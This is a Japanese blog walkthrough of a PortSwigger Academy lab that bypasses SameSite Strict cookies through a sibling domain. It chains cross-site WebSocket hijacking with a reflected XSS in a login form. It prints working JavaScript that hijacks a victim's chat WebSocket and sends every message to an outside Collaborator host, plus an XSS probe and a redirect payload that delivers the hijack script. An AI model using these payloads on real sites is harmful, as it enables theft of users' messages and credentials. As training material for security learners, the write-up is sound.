academy CSRF 9問目 webソケット samesite strictをsibling domainでバイパス

CSRF

Lab: SameSite Strict bypass via sibling domain

WEBソケット慣れてないかたは、まずこちら!
https://portswigger.net/web-security/websockets/what-are-websockets

リアルタイムチャットなどで使われる、コネクションはれば、双方向通信可能なあれです。

burpなら、http historyの右の、websokets historyに履歴でてきます。

webソケットも、
クライアント側は、xss, csrf
サーバー側は、sqli, xee, ssrf
などHTTP通信と同じように攻撃が可能です。

sibling domain(兄弟ドメイン)についてですが、
すみません。
samesiteと関連づけた詳しい資料見つかりませんでした。

兄弟として、DNS設定されているドメインは、
samesite制限にかからないということでしょうか。

それなら、サブドメインの列挙、把握はかなり重要ですね。

診断時やセキュリティも、ドメイン内のサーバ全体で考えた方がいいのかもしれません。

事前整理が済んだので、はじめていきましょう

まず、トップページを見ると、Live Chatのリンクあることに気づきます


クリックしてみて、色々文字を送信してみます。

burpのwebsokets historyで確認。
READYコマンドや、jsonでデータが流れているのがわかります。

http historyの get /chat リクエストも確認します(これがwebsocket接続用のリクエストです
CSRFトークンらしいものがありません。


same site cookieさえ破れば、CSRFで脆弱です。

CSWSH(クロスサイトウェブソケットハイジャック)の脆弱があるか確認します

エクスプロイトサーバーのbodyに以下のスクリプトを入れます

<script>
var ws = new WebSocket('wss://YOUR-LAB-ID.web-security-academy.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://YOUR-COLLABORATOR-PAYLOAD.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>

保存、表示し、コラボレータページの、Poll nowをクリックします。

HTTPの通信を受信できたと思います。

他にもヒントを探します。

historyを眺めていると、
/resources/以下のレスポンスに、
Access-Control-Allow-Origin: https://cms-0aee000b04f7bdf0c03f5e0b009700d8.web-security-academy.net
があるのに気づきます(ここは、他にもドメインがあることを期待して探すのでしょうか

直叩きすると、ログインフォームがでてきました

<script>alert()</script>

をusername入れると、実行されます。


このフォームは、xssに脆弱のようです。

このalert()を入れたリクエスト
POST /loginをリピータに渡します。

右クリック change request methodで、GETメソッドに変更しsendしてみます。

POSTとレスポンスが同じなので、どうやら通ったようです。

このログインフォームのメソッドをGETに変更できるのが分かりました。

右クリック、copy urlして、ブラウザにはりつけ、同じようにjsが実行されたのを確認します。

実行されました

このsibling domain(cms-…)は、同じドメイン内と解釈され、samesiteの制限を受けません。
このxssが実行できるフォームから、CSWSH(クロスサイトウェブソケットハイジャック)攻撃が可能です。

今張り付けたURLを実行するJS文を作ってみます

一番最初に作った、ウェブソケット検証用のJSをもう一回作り、URLエンコードします


*burp decoder機能などでできます

エンコードした文字列を、以下のスクリプトのusernameパラメータの値としてはりつけます。

<script>
document.location = "https://cms-YOUR-LAB-ID.web-security-academy.net/login?username=YOUR-URL-ENCODED-CSWSH-SCRIPT&password=anything";
</script>

そして、エクスプロイトサーバのbodyにはりつけ、保存、表示をクリックしましょう

コラボレータタブのPoll nowを押すと、
httpで、新しいやりとりの履歴が表示されます

エクスプロイトサーバにもどって、被害者に配信を押します。

もう一回、コラボレータブ Poll nowをすると、他のユーザーのメッセージまで確認できます。

メッセージ内に、ID/PASSWORDをみつければ、そちらでログインし、クリアです!

クリア!

–)v

コメント

タイトルとURLをコピーしました